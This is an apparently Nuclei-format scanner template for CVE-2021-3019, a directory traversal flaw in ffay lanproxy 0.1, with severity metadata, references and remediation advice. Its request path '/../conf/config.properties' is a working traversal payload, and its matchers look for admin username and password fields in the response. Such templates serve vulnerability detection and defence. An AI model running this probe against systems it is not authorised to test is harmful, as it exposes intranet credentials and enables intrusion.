漏洞描述
ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
id: CVE-2021-3019
info:
name: ffay lanproxy Directory Traversal
author: pikpikcu
severity: high
description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
impact: |
This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
remediation: |
Apply the latest patch or upgrade to a version that has fixed the vulnerability.
reference:
- https://github.com/ffay/lanproxy/commits/master
- https://github.com/maybe-why-not/lanproxy/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2021-3019
- https://github.com/manas3c/CVE-POC
- https://github.com/sobinge/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3019
cwe-id: CWE-22
epss-score: 0.92357
epss-percentile: 0.99718
cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: lanproxy_project
product: lanproxy
tags: cve2021,cve,lanproxy,lfi,lanproxy_project
http:
- method: GET
path:
- "{{BaseURL}}/../conf/config.properties"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/octet-stream"
condition: and
- type: word
part: body
words:
- "config.admin.username"
- "config.admin.password"
condition: and
- type: status
status:
- 200
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